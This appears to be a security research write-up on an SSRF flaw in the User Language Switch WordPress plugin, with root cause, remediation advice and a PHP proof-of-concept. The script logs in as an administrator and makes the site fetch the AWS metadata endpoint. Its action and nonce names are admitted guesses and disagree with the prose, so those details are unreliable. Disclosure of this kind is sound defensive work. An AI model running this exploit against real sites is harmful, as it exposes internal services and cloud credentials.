Atomic Edge analysis of CVE-2026-0745 (metadata-based):
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the User Language Switch WordPress plugin. The flaw exists in the plugin’s language download functionality, allowing attackers with administrator-level access to force the application to make arbitrary HTTP requests. The CVSS score of 7.2 reflects a network-based attack with low complexity that can impact the confidentiality and integrity of internal services.
Atomic Edge research infers the root cause is improper input validation within the `download_language()` function. The description states missing URL validation on the `info_language` parameter. While the exact code is unavailable, the CWE-918 classification confirms the plugin likely accepts user-supplied input and uses it to construct an outbound HTTP request without sufficient validation. This could involve a direct call to `wp_remote_get()` or `file_get_contents()` with a controllable URL parameter. These conclusions are inferred from the CWE and vulnerability description, not confirmed by source code review.
An attacker with administrator credentials can exploit this by sending a crafted request to the plugin’s AJAX handler. The endpoint is likely `/wp-admin/admin-ajax.php`. The action parameter would correspond to the `download_language()` function, such as `user_language_switch_download_language`. The malicious payload would be placed in the `info_language` POST parameter, containing a URL targeting internal services (e.g., `http://169.254.169.254/latest/meta-data/`). The request would execute without proper validation of the URL’s scheme, host, or port.
Effective remediation requires implementing strict allow-list validation for the `info_language` parameter. The plugin should only permit downloads from a predefined, trusted source, such as the official WordPress translation API. If a dynamic URL is necessary, the code must validate the host against a safe list, block private IP addresses (RFC 1918, localhost), and disallow dangerous URL schemes like `file://`, `gopher://`, or `dict://`. The fix should also enforce proper capability checks, though the vulnerability already requires administrator access.
Successful exploitation enables attackers to probe and interact with internal network services. This can lead to sensitive data exposure from metadata services, databases, or internal APIs. Attackers could also abuse the vulnerability to perform port scanning of the internal network or relay attacks against other internal applications. In specific configurations, this SSRF could be chained with other vulnerabilities to achieve remote code execution.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0745 - User Language Switch <= 1.6.10 - Authenticated (Administrator+) Server-Side Request Forgery via 'info_language' Parameter
<?php
$target_url = 'http://target-wordpress-site.com';
$username = 'admin';
$password = 'password';
// Internal target for SSRF (AWS metadata endpoint example)
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';
// Step 1: Authenticate to WordPress to obtain cookies and nonce.
// This PoC assumes the plugin uses standard WordPress AJAX with a nonce.
// The exact nonce context is inferred from plugin patterns.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
// Step 2: Extract a nonce from the admin page.
// The nonce name is inferred; actual implementation may vary.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin.php?page=user-language-switch',
CURLOPT_POST => false,
CURLOPT_POSTFIELDS => null,
CURLOPT_HTTPGET => true
]);
$admin_page = curl_exec($ch);
// This regex is a placeholder. The actual nonce field name would need verification.
preg_match('/"uls_download_nonce" value="([a-f0-9]+)"/', $admin_page, $matches);
$nonce = $matches[1] ?? 'inferred_nonce_missing';
// Step 3: Exploit the SSRF via the vulnerable AJAX endpoint.
// The action 'uls_download_language' is inferred from common plugin naming.
// The vulnerable parameter is 'info_language' per the CVE description.
$post_data = [
'action' => 'uls_download_language',
'info_language' => $ssrf_target,
'uls_download_nonce' => $nonce
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_POST => true
]);
$ssrf_response = curl_exec($ch);
curl_close($ch);
echo "SSRF Response:n";
echo $ssrf_response;
?>
